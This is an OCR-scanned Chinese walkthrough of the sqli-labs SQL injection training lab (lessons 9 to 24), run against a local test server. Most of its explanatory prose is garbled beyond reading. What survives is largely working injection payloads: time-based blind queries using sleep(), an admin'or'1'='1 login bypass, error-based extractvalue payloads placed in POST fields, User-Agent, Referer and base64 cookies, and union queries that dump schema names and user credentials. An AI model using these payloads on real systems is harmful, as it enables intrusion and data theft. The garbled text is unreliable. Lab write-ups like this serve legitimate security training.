RCookies™ 2 Cs5~ (I~ EEF~ @RRES- EEtns- - F8n- KIS~ MESERE~ [ER-

Welcome

AR SRARAE N T LU R A5 A2 W] A ELHR IR 0] user() ), {ERIX LA IR Al

HAK) payload % less5 HIZIHATIEN, XEMA——HEHRT .

Less-9

ARRBATAFR @R T LB R (GETIHE-E55) , By AR X S EE AT TR F 2
AT, FIEid ZECH TR 0 BAEE . 3X BIRATTORBURIRE ZE BV E N TR R — Ko

X B sleep() & %L,

X B BATR 2 I TR )8R, MEESEA S X T, XH RS payload 1= CEBIN
R EHIR ], ASTERA I 5554 5 A0, UG IERD

BB R -
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20lf(ascii(substr(database(),1,1))=115,1 sleep(5))--+
VLSS —fi/2 s (ascii A9/& 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20lf(ascii(substr(database(),2,1))=101,1 sleep(5))--+
U —fi/2 e  (ascii i3/Z& 101)

CALIHE,  FRATTHNE 1A B 4% 52 security

M security FIBIER:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table name from information_s
chema.tables where table schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

KM — N BIER I E A2 e, MRIEHE, 133 emails
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table name from information_s
chema.tables where table schema='security' limit 1,1),1,1))=114,1 sleep(5))--+

KM — AN BRI E L2 v, MRIKEHE, 133 referers

FRCAEEHE, FRATAT DAAS B AT A I EHE 2R emails,referers,uagents,users

FEW users REIF:
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http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=116,1,sleep(5))--+
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
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http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column name from information

schema.columns where table name='users' limit 0,1),1,1))=105,1,sleep(5))--+
FEM users FRIZE—NFIRIE —NERFR 0,
PLICZRHE, FRA1732)%4 &2 id, username, password

¥59 username FKJ1E :

http://127.0.0.1/sallib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+

F50 username 8 —AT I EE—AL

DLIGEHE, FRA115 35045 FE username, password A 2

PAE I R AL BA TR sleep() bR BE N AOEEAN I RE, 2488 1 FT LT BENCHMARK () bR ik
FEN, XEATLAEATEATIN . JA X B AEATER T

Less-10

ARRBATAFR R 7T LR CGETIHE-XCS5) 5 B DUR B XSG EE3RA TR F 48
AT, [FE id SE0 TR« AR F less9 X AIBLTE T #5155 (O AT ) K
fITX 45— payload 7”3, HABKIIES# less-9

BB R -
http://127.0.0.1/sqllib/Less-10/?id=1"and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
HRMRBIES % less9, XEEAWHR T

Less-11

MIZ—RIFIEBRA DT IEFENE] post iEANHIELF 1, 4147 post W ? it Hudhs % /7 i $2 58
Bk 5585 s, 1 ANFRAHE G LR T, AR A AER, AR RS DR B R AL
FEAZH S5 & e IR 55 S BEAT IAE . X HZ — IR post HITE TR .

BIAnFRATIAE less11 hIRA T A LB 2 AL f5, BoR

Welcome

Username : | 1
Password : #

Submit
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http://127.0.0.1/sqllib/Less-10/?id=1%22and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
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HEBATEZE T wfrr gk A7 AW ?
£ post IR, FRAVHIA B P 4 A i S AR J5 B AR BR 1) A2 TR AR TH 2 7% BT 1 i L3
1) sql iBf), WABATZE LG get B —FEAETR AT payload e ?
HIRATHN username: admin’#
Password:ddd ([ {i %)

Welcome

Username : i
Password :

Submit |

AILED
EREER T, AU T T BRR P S AT B 5] S AR EE
X LA AT DA S NS N T BB TR 2K — T o

iX B username #i\: admin'or'l'='1#, ZiLpEE.
Welcome

Username: | =
Password : i

Submit

IR (B TE AR ) 45 5 %B/A\EIEH/ ”)E7 BAAE background-1 LA SIRE] T, #iEis
B O VR TR,

HIRATTHRAT username Ml password J&, J5 G TEHUT sql &)

@Ssql="SELECT username, password FROM users WHERE username='admin'or'l'='1#  and
password='Spasswd' LIMIT 0,1";

TEH#VLJE BN SR b, U A or 1=1 THRSL, AT LAB AR, FRATIER BA
admin [ P8 S IBAE T RIATZRA get NP H B HABRIEARH or 1=1 HHTVE
Ao

X EFATA union T BT 243

Username: ladmin'union select 1,database()#

passwd=1 (fERE%S)
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€ 127.00., UEL (] Leancloud "8 ¥ A S- 1
| EmE @ Ex—F 4

amry - 18%E |) A | 5# | coding || #T L) fq L) #8GEI | blogs || webk2 || EE¥ || REH | severiz || of LI isiE L ipstl)

AT LAE B 7~ T database N security, XA AT ECH BT
AT DA AR R T N . BB TE get B4R A3 BB A) A RT DA A .

IR, BT DA A R AT, BAME R LA KR h 24 s Bl payload.

Less-12

AT less11 MUY, RIELE id MISELHE FF—ERAFE
2450 N username: admin”
Password: (B &)

Welcome

Username : l

Password : |

SR OEEE SE

You have an error in your SQL syntax; check the manual that corresponds

to your MySQL server version for the right syntax to use near ’ qweqwe”)
LIMIT 0,1 at line 1

KER BRI E sy, Mt ) B, WAL RX B id 247 17 (“id”) b3,
B AFRAT AR IH T LU 75 g B a4 T 224k

Username: admin”)

Password: ([t {fi i)
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Load URL  httpy//127.0.0.1/sqllib/Less-12/

Split URL
Execute
7| Enable Post data Enable Referrer
stdata  uname =admin")#&passwd=18&submit=Submit
IETCRAFT - Senvicest | [No information available]
2@~ LCookies~ €55~ [U3 Bi- ORREE- Bt AmS- Sun- ATE- MSEERE- 1En-

Welcome

Username: |

Password: |

‘ Submit

M AT BLE ZIATEL admin B3 T .
X HEVER admin”)or 1=1#75 s;UE R AT, JEIRE Dumb B3, X AR — TN A AR
admin ¥, HIGREN sql PAT R Sa 40 1 i) AL

Less-13

ARFRATHIN username: admin’
Password: (%)
HEAT IR

Welcome

Username: |

Password : !

| submit |

ATLLUERRES T, R

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near *1°) LIMIT
0,1 at line 1

AT UAE B ER L ek, i ) FRATRT DUAERE XS id AT T ) RIAbEE.
BTV BB BIAR RA S B RREREE T, RS IR— MR EF IR FI4
P

HEFRA T AT DL T AR E B .

i W 5 —Ar
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uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

VVelcolc

Username : I =l
Password : ool

| submit |

7 B o o e N ] NI

BT, AR AR E X A AT IR, lessS HIRATE L HE] T IXAMERE T, XH
MAEET .

X R —AN D TR AT R FE b, wT DURIE — 40k, AT LA RE FRAR 223K
o

HALFE R AER T, 8 BAT T A 4T It

Less-14

ARRIBATEFZEIAT L, i\ username: admin”

Pasword: (i &)

http://127.0.0.1/sqllib/Less-14/|

V| Enable Post data Enable Referrer
aaaaa =admin%228&passwd=18&submit=Submit

Services® | [No information available]

Username :

Password : |

ATCLERIREE T, IBATRATFE 1 id #4717 7 MHERAE.

XA less13 —#HF, FEZABFHEE.

fai 5] — T payload:

uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit
A LA SRR o

FERFH— FREEN
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uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submi
t=Submit

) 2 e
RL  httpy//127.0.0.1/sqllib/Less-14f
RL

- Servicesr [No informatian available]

Cookies~ o Css~ [I5%~ @EK- ORES- Oaumes- ARdy Sane ATE- MESERE- (5

Welcome

Submit

UG BHRES 1, BoRiRORAE B

Less-15

AREHEIRIER, BARMTA BB EN . X EREENFARETER] T sql HH)
@5sql="SELECT username, password FROM wusers WHERE username='Suname' and
password='Spasswd' LIMIT 0,1";

XX id FEAT id IALEE

A RFRATR] FHRE IV E NI4T

T DB P 4 5 — AL

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Subm
it

IEBR MR AT U E RS 5, AR RHEER 5 70,

HAt1 ) payload H4THyid .

Less-16

AR RIANTHI AL B TT 1A less15 e — LR, [RFE A A AE IR N BT VR HEAT filt v 3X B ELHE AN
PRI E RN id B47 (“id”) AL EE.  GE B 4TI

AL payload:

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Sub
mit

IEBR MR AT L E RS 5, AR RHEER 5 70,

HAt ) payload H4THyik .
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Background-4 &R EBIT B

FEXTHAR AT AL b, FRANEH BRI . 322 N ORIRATUHE— T mysql ML
e TA LR B H B 1 select, XEBNAT .
Win—475d% . Insert
INSERT [LOW PRIORITY | DELAYED | HIGH PRICRITY] [IGNORE]
[INTC] tbl name [(col name,...)]
VALUES ({expr | DEFAULT}, ...}, (--.),---
[ ON DUPLICATE KEY UPDATE col name=sxpr, ... |
i
INSERT [LOW PRIORITY | DELAYED | HIGH PRIORITY] [IGNORE]
[INTC] tbl name

SET col name={expr | DEFAULT}, ...

[ ON DUPLICATE KEY UPDATE col name=sxpr, ... |
7
INSERT [LOW FRIORITY | HIGH PRIORITY] [IGHORE]
[INTO] tbl name [(col name,...)1]
SELECT ...
[ ON DUPLICATE KEY UPDATE col name=sxpr, ... ]

i L2545

insert into users values( 16’,  lcamry’,’ lcamry’ ) ;

il

o 2 KL

delete from XK %;

delete from & % where id=1;
o JhIBREEH:

M ZE . drop database $#i % 44 ;
MR : drop table & 4;
MM ERZR ) 5 :alter table 344 drop column %144;

EEESE

delete from users where id=16
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B
o BMFTA: updata £4 set | Z="$E, FEFFINRT|S
o HMFIIEIL: updata £ 4 set FIL="FIME, FEEFEINET] S where id=6;

update users set username="tt' where id=15

Less-17

ARBATT UG B2 — MESUES IS AE, FHKZ update i54), STEH select I j2 —FF
1), AU FER IR mAE, it H 2/ payload.

F AR

Username: admin

Password: 1’

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near " admin’’
at line 1

ATUAE R admin” Ui IFEXRT RIS A B R A I 2 o

BN RA A EERATIEAN

EKHE s — MR ET.

uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&sub
mit=Submit

@ Load URL  httpy//127.0.01/sqlib/Less-17/
0 split URL
v Exeaite
7] Enable Post data [ Enable Referrer

Post data dmi d=11"and extractvalue(1,concat(0x7e,select @ @version),0x7e))#&submit=Submit

MHETCREFT - Servicest | [No information available]
2= ACookies~ £ Css~ [IF2- @ER- OFRES- OHENS- AiHi- S A18- BEESRE- ET-

[PASSWORD RESET]

User Name
New Password :

| submit |

XPATH syntax error: '~5.6.17~"

4@ @version HURISIFHF AT LA AL ABITEN T .

MR T, RTDARHZERE N, AT DU SIS A] () ZER 1 B AR
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Subm
it

A 77 X AR 7. BATEEE! ~
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Pem: fEEFEAEEKEAE, SeH T K select iEA), TN ATATAM username Abii4TH4
&g ?
HSEIRATT AT AZEVRARAS R B 2 — AN 4. check_input() R %o

function check_input($va1uej

i
if(!empty(Svalue))

// truncation (see comments)

Svalue = substrx(Svalue,0,15);

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())

-:I 1
Svalue = stripslashes(Svalue);
// gQuote if not a number
if (lctype digit(Svalue))
= {
Svalue = "'" . mysql real escape string(Svalue) B
else
L :

Svalue = intwval (Svalue);

return Svalue;

L }|
XRBAIN AR BRI E T

Y addslashes()

addslashes() B 5O B AE TUE S RF2 RIVR IR AT 1015 R4

Bist U
. HET O
G RO
o RAHL (V
e NULL

BROR: R MO T T 7S50 e v 1 4 o L B O P A D A 45 R

FERE: BRIAML, PHP XTPTA ) GET. POST Ml COOKIE %#i% H 3hiaT addslashes(). FTLA%E
AR B S 97 ER B addislashes(), DRI RE £ G BOMZAE Lo SBEN I FEHLN 7T
AfisF B get_magic_quotes_gpc() TR

i#i%: addslashes(string)

SR iipay
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string . M B SR .
R [AE : R B O U E

PHP JfA: 4+

% stripslashes()

BRI EMIER T addslashes() BRI B IN IR SO RHT

*mysql_real_esca pe_string()

KRS S SQU 4 o S 4 e R BR A

pZE=EE=4-2 8
e \x00
e \n
e \r
e \
e \xla

USRS, WHZ PR BOR M SO A7 d . I RRIE, AR false.

iBv%: mysql_real_escape_string(string,connection)
ZH ik
string Wil . B LR H .
connection HJ k. HE MysQL EH:. W AME, MEH E— %z,

UL AREREE string HIURRIR FRFE X, FFBRERNERMYAT /A4, Rk Pl 4= A
+ mysql_query().

FEFRAT less17 [ check_input(), X username #E17 8 Fh4E AL FE,  Fir DL AL AS EAE FH
username BEATIEN .

Background-5 HTTP SLEB/+43

FER AR TR AT IR, JRATREE 2UR 2 09T, N IV vHida— I,

HTTP Skl T A

1. Accept: UF WEB R55 2% H 2 AR M, */* RoRIEMEA, type/* KINZ
KA FMIATA T2, type/sub-type.

2. Accept-Charset: WI%i#% H Bl H S RF4E

46
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Accept-Encoding: IV 2% B BH H I Igm g 7 vk, 8T8 EIEL4E 7, SRS,
YR AE4E 7715 (gzip, deflate)

Accept-Language: : WIWZsHHE CENMIES

S IRTREMX A PGRES, T ZM TR, i bigs, gb2312, gbk 254,
3. Accept-Ranges: WEB [z %5 #5838 ] H O/ 545 S 3R IO IE AN SR B — B 40 CELansSC A1
—#5r) MIER. bytes: FINEESZ, none: RRAEER.

4. Age: YAFRNRSS A B O AE M SR Z e NAE RN, %K E0 3R B S M= A 211
e Z KM T .

5. Authorization: 4% iz ICEI K H WEB AR 2% WWW-Authenticate MiNF, Fli%
SRR BN H S B SRS B4 WEB AR %45

6. Cache-Control: i#%>R: no-cache (NELZZAFHISZAK, BRILIEM WEB IR 5548 B
max-age: (HIE% Age /N max-age i, JFH &A%

max-stale: (] DAESZIE 20t 5, H2 I R [R] 20/ T max-stale fE)

min-fresh: (32 FLHTEEAE a3 KT H 2T Age ER min-fresh {H 2 FIIZEAA4T 5D

Wi R.: public(RLAF Cached P42 [BINATATFH F)

private (B A7 N 25 [0 BL56 T SR 1Z 25 AN P

no-cache (FJDAZEAE, (H2& I ATEER WEB IRSS#50IE T H ARG, A REIRFIZE i)
max-age: (AR AL F5 0T G it B R[] D

ALL: no-store (ANFUVFZRAT)

7. Connection: 1#3K: close (#5f WEB JIR55 a8 fRER IR 2545, 75 58 A IS =K 11 i 7
Ja, Wi, AEERARICGEEZNESAERT) .

keepalive (5iff WEB k5528 B ARER IR S5 3%, TESE A UCE RN 5, PRFEFERE, 54F
AYPCERER G EER) .

e close GEECARMD

keepalive CGEFEIRFFE, EFRAUGELIEEIER) .

Keep-Alive: WIS W VLA 1E K IRFFIESE, WNZKIBERHAE WEB RS2 IRFFIEHZ KIA]
(F) o flln: Keep-Alive: 300

8. Content-Encoding: WEB A% 253K H H S T4 E4i 7712 (gzip, deflate) 4w
thff%F 4. fl4: Content-Encoding: gzip

9. Content-Language: WEB Hi45#% 2 Fn Yo s H Cim B I R IE S -

10. Content-Length: WEB AR 55#% 25 R Yo 28 H CUH B XS R IP K B . 41U : Content-Length:
26012

11. Content-Range: WEB AR5 #52¢ B 120 B A 55 1R 30 43 % G N AN X G (PR 840 o 451 1
Content-Range: bytes 21010-47021/47022

12, Content-Type: WEB JR55#8 &5 R Wa 48 B CLH R X R IZRAL. FUl: Content-Type:
application/xml

13, ETag: Ht2&— X% (thin URL MikrdEE, Bi— MRS, — html X,
WA T, H Etag 2Bk, ALl ETag HIVEAER Last-Modified IMEFIZEAZ, *
At WEB MRS FIMT — N R R BN T o HUFT—KIER A html SCEFRE, 3745 73
ETag, 4iXIRIERIXA SIS, F%E 3t A0 AT RIS ETag HRIX%T WEB 552,
SRJE WEB k5548 HIX ™ ETag BRIZSCHFMI YT ETag HEATRTLL, SR/ ATEX AN XA
BHSET .

14, Expired: WEB R%5 #3358 BIZ SO AEAT A B 1, STl 7 Xt &, HALER
WEB kS5 89niiE 1 HARNWESS , A BEF SRR 2 J1il K o 2 HTTP/1.0 Hk ¥, B4 : Expires:
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Sat, 23 May 2009 10:02:12 GMT

15\ Host: 27 uida 2 H OB TS ] ) WEB 5545 10384 /\P Ml Flum 5. 5140 Host:

rss.sina.com.cn

16+ If-Match: WIHRXT R[] ETag WAL, H SRR E N S8 NE, AHPATHE KT
L (N

17+ If-None-Match: WX R K ETag 038 1, HSLWmEWREXN ZHNAL T, AHPITIER
IENE .

18. If-Modified-Since: 4157 K (1% RAE 1%L 8 € IR Al 2 JFAE T, APATIE R II3)
B CElegnig B %), & WER EACAS 304, Sl Ees Zx 2R AEBS. Bl

If-Modified-Since: Thu, 10 Apr 2008 09:14:42 GMT

19. If-Unmodified-Since: 1515 K IK0T RAE %K B8 € IS (8] 2 fF e dod, A HATiE K
shfE (LU EXT 5 .

20, If-Range: WIYE#8%F WEB 5528, WIERIRIE RN QA MR, #amIE b (15 5
IR, WMENRUAE T, BTN RGT . WA AR R R ETag BE A
B NS () B S B ey (0] 25 WEB iR gs4s, kAW BB AL 1. SZER Range kifi—
EEH

21. Last-Modified: WEB 55 # AN R fo B iy 18], B an SO R e Ja B 2t 1), 3
AU BG4 0254, filhn. Last-Modified: Tue, 06 May 2008 02:42:43 GMT

22, Location: WEB JrZ5 &% Vrads, KBV M RO@ug# i E 7, 2k
#ofs o€ B oy B A B . fl W :  Location :  http://i0.sinaimg.cn
/dy/deco/2008/0528/sinahome_0803 ws_005_text 0.gif

23. Pramga: EZEffH Pramga: no-cache, #124F Cache-Control: no-cache. f§]#: Pragma:
no-cache

24,  Proxy-Authenticate: AR I IR 5% &5 WA B2 0 0 4%, R IL SR ALACEE B 43 8 UE 1S B

Proxy-Authorization: ' 75 1 AR AR 2528 1 S B s =k, It E S M EE.

25. Range: WI'Wi#s (Ll Flashget 2 2BFE R ) HF WEB HR55#% B AR B 5 1w
4y . . Range: bytes=1173546-

26. Referer: WI%ig#sn WEB fik5%as& W] H O/ IEAS PITT/URL R4/ sty AT K
HIME/URL. fl4: Referer: http://www.sina.com/

27. Server: WEB fIk%5#s R H 2 A B LA E S . #li: Server: Apache/2.0.61
(Unix)

28. User-Agent: WIWI#sRIHH iS4y CRMEFHIYEES) o BIUl: User-Agent: Mozilla/5.0
(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2. 0. 0. 14

29. Transfer-Encoding: WEB Hi 55 %835 B B U6t A Ny B AR (A2 V8 EAR B AT %) AF
TEFEMNGIG, AR (chunked) o f5lf: Transfer-Encoding: chunked

30. Vary: WEB il # HIZ LN A& IF Cache ARSS 2%, TEATAZAF N A BEF A< B2 fy
IR [ R 50F G S J SRR K o R ANYE WEB R 55 #8 AE 45 B 55 — MG R 2, e B2y B )
Sk N Content- Encoding: gzip; Vary: Content-Encoding H5“4 Cache HR55 %240 M Ja B/ 3R
HIEWSLES, A Accept-Encoding, J& RERJGHTMANIM] Vary SkESE—, RIEH{EH
AR R 2R S v, IXAERE T LA IE Cache 4528 H © Cache HLIHI R4 J FA SRR B
AN EEARIERE TN 2% . Fltn: Vary: Accept-Encoding

31, Via: FIHNE P uGE] OCS B AR T Ml Hme R 22 T R LS ARER R 25 2%, AT A4
P CFIRRAD) FOEIIE R 4% P il K BIA S — MUER RSS2, RS B|/ESAEH DK
HRER B IA i via Sk, JEE EACIMHEREE, 4 MU RS SR — MR
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PR S5 2% B SR, 27E 3 Ok B R LT S A — MR RS A I SR via SkiE6, I
8 E SR E R INBEE, PSS, 2 ocs U EE G — MREEAR S 2 HE RIS, HE 7Y
Via ki, BtAIE ZIERM AT b . #l41: Via: 1.0 236.D0707195.sina.com.cn:80
(squid/2.6.STABLE13)

HEFEH TR
EITEA i R, AR LM TR
live http headers(firefox 1#14)

Headers | Generaiorl Config |Aboutl

HTTP Headers
HTTP/1.1 422 Unknown
Cache-Control: max-age=600
Content-Type: application/json
Date: Mon, 08 Aug 2016 02:14:05 GMT
Expires: Mon, 08 Aug 2016 02:24:05 GMT
Server: Apache
Via: 1.1 toolbar.netcraft.com (squid), 1.1 sng202055 (MII-APC/2.5), 1.1 sng201198000000 (MII-APC/2.5)
¥-Content-Type-Options: nosniff
x-frame-options: SAMEORIGIN
X-Pb-Mii: Powered by Mirror Image Internet
X-XS5-Protection: 1; mode=block
Content-Length: 36

Connection: keep-alive

4 il |

Save All... Replay...

Tamper data(firefox $&14)

B e e |
Start Tamper Stop Tamper Clear Options Help
Filter Show All
Ti... Durati.. Total Durati... Si.. Meth... Stat.. Content Ty... Load Flags R
Request Header Name  Request Hea... Response Header Na... Response H...

i 4
d
l
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Less-18

ARIA I IR B T 5

Suname = check input($ POST['uname']};
$passwd = check input($ POST['passwd'l):;

%t uname F1 passwd #4171 check_input() BREL AL FE, B LA TZES N\ uname £ passwd I
HATENEAMTH), HEEAR T, HATER] T insert()

Sinsert="INSERT INTO ‘security’.'uagents’ (‘uagent’, ‘ip_address’, ‘username’) VALUES ('Suagent',
'SIP', Suname)";

4 useragent Al ip FENBIEHE EH, IEATRATR AR T LA SREHATIEATE ?

Ip Mok A TX EAS AR SR J7 (8, {HJE useragent BBE N7 (H, FATM useragent \-F
FATAIH live http headers HEATHAL AL

Welcome

POST =  http://127.0.0.1/sqllib/Less-18/
HTTP Headers

Username : Host: 127.0.0.1
P 1 User-Agent: fdddddddd
assword : Acce fxhtml+xml,application/xml;q=0.9,*/*,q=0.8

Accept Language zh,en-US;q=0.7 en:q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/sqllib/Less-18/
Connection: keep-alive

Content-Type: application/x-www-farm-urlencoded

Your IP ADDRESS is: 127.0.0.1 @] Send POST Content 7

uname=adminl&passwd=18submit=Submit

Content-Length: 35

| Rep

M EERTLLER], &1 user-agent J5 FITERT &5 i user-agent & BRI T o
HIBFRATK; user-agent IEHCATENIEAIE ?

¥ user-agent 12 N'and extractvalue(1,concat(Ox7e,(select @ @version),0x7e)) and '1'='1

Username : [

Password : | N
Submit

Your IP ADDRESS is: 127.0.0.1

XPATH syntax error: "~5.6.17~'
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ATLVERIRATCAR R T RA S,
HAE FAT K US|

Less-19

MIFARHD Hh FATAT LA 3 FAT IR S 1 /& HTTP_REFERER

HEFN less18 RFEAR—EH, FRAIM referer FATIEML

218 less18 —Ff, FATRZE H—AIRpl

¥ referer {2404 'and extractvalue(1,concat(0x7e,(select @ @basedir),0x7e)) and '1'='1

127.0.0.1/sq]lib/Less-19) gEs | @ S <Cri K wB & & - 18- @
BE (& ST . (s lcamry - BER wiEE | B coding #T |hfg IS blogs webz2 EEF | RBmET server&® of [} s ipsHU BF
BFT - Services | [No information available]
* ACookies™ » Cssv [IE2~ MEA~ @RNES- DEtnE- Fmo- Jaun- KT8 MEEERE- [1En-

Welcome

Username: |

Password: |

Submit ‘

Your IP ADDRESS is: 127.0.0.1

XPATH syntax error: '~c:/wamp/bin/mysql/mysql5.6.17~"
| GED IN

Al LLE B mysql AR T .
B R US4 2 HA )

Less-20

MIBEARAS H FATTAT LA B cookie M username HHIRTHME G, SR IURIHTR, £ M cookie H1i
H{ username, #AJE#HTE .

GG, BAUEL cookie, FHRMIBIRG, XBHE sql EAIL S IBEL T .

BA'1Md F temper data HEATH R .
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e g ey SRS L e R L Sy et e L e sy '@ 'amper ata - ungoing requests w— e — g
Tamper Popup E || start Tamper Stop Tamper Clear Options Help
hittp://127.0.0.1 fsqllibfL ess-20/ Filter Sho
Request Header Name  Request Heade... || || Post Parameter Name  Post Parameter ... | Time Duration Total Duration Size Method Status ContentType .. Load Flags [
Host 127.001 11 Oms  Oms un.. POST  pen.. unknown .. LOAD BACKG..
1 0 0 .. POST . unk < LOAD BACKG...
User-Agent Mozilla/5.0 (Win s e e Pis ma o 5
i Oms ms e er. unknown .. 1
f || IREE o POST  p k LOAD BACKG
| Accept text/html applicz 1% Oms  Oms une. POST  pen.. unknown .. LOAD BACKG...
NeCEpiLE G zhen-US;q=07, 1 32ms 147 ms 971 GET 200 text/html .. VALIDATE.AL..
. o 1L 9ms  Oms 1 GET 304 application/... .. VALIDATE.AL..
ActeprEncoding gt deliate
| 1L Oms  Oms un.. GET  pen.. unkmown .. LOAD_NORMAL
Cookie uname=adminl 1. nfams nfams un... POST  Canc... unknown ... LOAD_BACKG...
| Request Header Name  Request Head... |||| Response Header Na... Response Hea...

W EEFR, BAMEK cookie

uname=adminl'and extractvalue(1,concat(0x7e,(select @ @basedir),0x7e))#

SERIES-20

YOUR IP ADDRESS IS :127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = adminl'and extractvalue(1,concat(0x7e,(select @ @basedir),0x7e))# and expires: Mon 08
Aug 2016 - 06:0Z:320
Issue with your mysql: XPATH syntax error{ ~c:/wamp/bin/mysql/mysql5.6.17~'

ATUVEEIREE 1, BASE T mysql HIERAR.
FABRENTTIE B AT D) !

Less-21

AT cookie FEAT | base64 HIALEE, HABMKALFRFRAZA less20 & —FEH.
SERIES-21

YOURIP ADDRESS IS : 127.0.0.1
DELETF*YOUR COOKIEYOR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname ¥ YWRtaW4x and expires: Mon 08 Aug 2016 - 06:41:24
¥YeourLogin name:adminl

Delete Your Cookie!

FATIX B AT DA less20 [FIFERI 718, (H2 T ZH payload 1T base64 ZwfidAbHE (VX

52



Mysgl ¥E A -—-sglilabs--Icamry

BT uname #AT T (‘'uname’) A0 R

Cookie:
uname=YWRtaW4xJylhbmQgZXhOcmFjdHZhbHVIKDEsY29uY2FOKDB4N2UsKHNIbGVjdCBAQGJhc2
VkaXIpLDB4N2UpKSM=

rTamper Popup — - - &r
http://127.0.0.1/sqllib/Less-21/index.php
[ Request Header Name Request Heade... I erost Parameter Name  Post Parameter ... |
Host 127.0.01
User-Agent Mozilla/5.0 (Win
Accept text/html,applica
Accept-Language zh,en-US:q=0.7 ¢
Accept-Encoding gzip, deflate
Referer http://127.0.0.1):
Cookie m

[ m= || = |

SERIES-2 1

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname =
WRtaW4xJylhbmQgZXh0cmFjdHZhbHVIKDEsY29uY2FOKDB4N2UsKHNIbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

and expires: Mon 08 Aug 2016 - 09:32:03
Issue with your mysql: XPATH syntax error: ‘~c:/wamp/bin/mysql/mysql5.6.17~"

UL BB RIFRAIEE] T mysql (E1E
FAt ik e, AT B!

Less-22

AKH less20+ less21 Z&—Hfy, FATAT LLMIEAHS 5 23X BT uname 47 T ”uname” i)
AbER, F]LARIE payload:

adminl"and extractvalue(1,concat(0x7e,(select database()),0x7e))#

Payload #1T base64 45, 1214 cookie FFIFATHEAL
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SERIES-2 1

YOUR IP ADDRESS IS:127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname =
YWRtaW4xImFuZCBleHRyYWNOdmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWNOIGRhdGFiYXNIKCkpLDB4N2UpKSM
and expires: Mon 08 Aug 2016-<88%46:22

Issue with your mysql: XPATH syntax eripr: '~security~"

] LA BIHCE 2 44 N security
AL payload 1 F 4T A BB 4EREAT FiE -

2B 47 /page-2 Advanced injection

Less-23

Sql &%) A $sql="SELECT * FROM users WHERE id='$id" LIMIT 0,1"; b &b = B & 7E 3R L id %t
BT T #, -TERRT S HE.

Solution:
http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@ @datadir, %273

Welcome

ALK sql BN
SELECT * FROM users WHERE id="-1' union select 1,@ @datadir,3’ limit 0,1
Explain: BHARHFAA JLAN RN A5
1+ id=-1, NAEH-1, FA sql IBAJHAT T A select iBH], 55— select 7 id FIIEFRIE
£, A REANIER select 1G] RA—MER T, 7 iEIRATE S EdE
ATPLEH R, 23— select A LR, rbh-1 805 8 E0d B A Bl #8 T LL.
2. -1'union select 1,@ @datadir/3, F— (B35 WE-1, F=A (855 HEEH
Mo IXFEW AU N2 R TE username 4k
SV b T PR B E N, B E N, BABLR A or 1 # AT A
http://127.0.0.1/sqllib/Less-23/index.php?id=1%270r%20extractvalue%281,concat%280x7e,data
base%28%29%29%29%200r%20%271%27=%271

PLEIX 2B At R extractvalue(VBEATHREEIE N .
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Welcome
XPATH syntax error: '~security’

¥ @ @datadir 15 Uy A IR £ A 25 B0 & N IR IK) select 165) . LU FHERGEATTIEETVE
AN

< SR IR

http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select
group_concat(schema_name) from information_schema.schemata),'3

Welcome

BEALSRE ) E i E N security

B F security FEHIEE
http://127.0.0.1/sqllib/Less—23/index. php?id=—1"union select 1, (select
group_concat (table name) from information schema. tables where

table schema=" security ), 3

Welcome

& users KHIFTH T
http://127.0.0.1/sqllib/Less—23/index. php?id=—1"union select 1, (select
group concat (column name) from information_schema. columns where

table name= users’ ), 3

Welcome

IR
http://127.0.0.1/sqllib/Less—23/index. php?id=—1"union select 1, (select
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group concat (username) from security.users limit 0,1),’ 3

Welcome

Less-24

Ps: AR K] e = M A FIE B —FE 0 10/, Bl LS I A B OO TS I AH SRR o iR
¥ 17 R E B R IR S logged-in.php SCAEANIERf . T SBT3
i

AN ZIRHEFAENBIRIEE] . —IRHEF A O AEAE R EN, e nT RE § 3L
sql VEN I EARF AR N BB 2 A, X F 0 XA B E I 2B, ginT BLHER sl VA
TN B

1. PRI SRR T 3, 7R A B AR AR A A R AL HTTP B 0 sk B iR 5
AT AL EE,  FRAS I EARIRSCE SR PRI RR AL T BA IS 1) sQL B A EE A

2. AR 55wt B R o oF SRR AS B (5 B3 T4, 18 R RAAEEEE FE T, RN
B AT 200 32 B FH 2 D LR 7 AT FA D B At i 4 fan NS Hm 0 7 7 g 17 SR A e
A8

3. PR RS i Ak B AN 5 5 — AN AR RN SR B 5 2. -

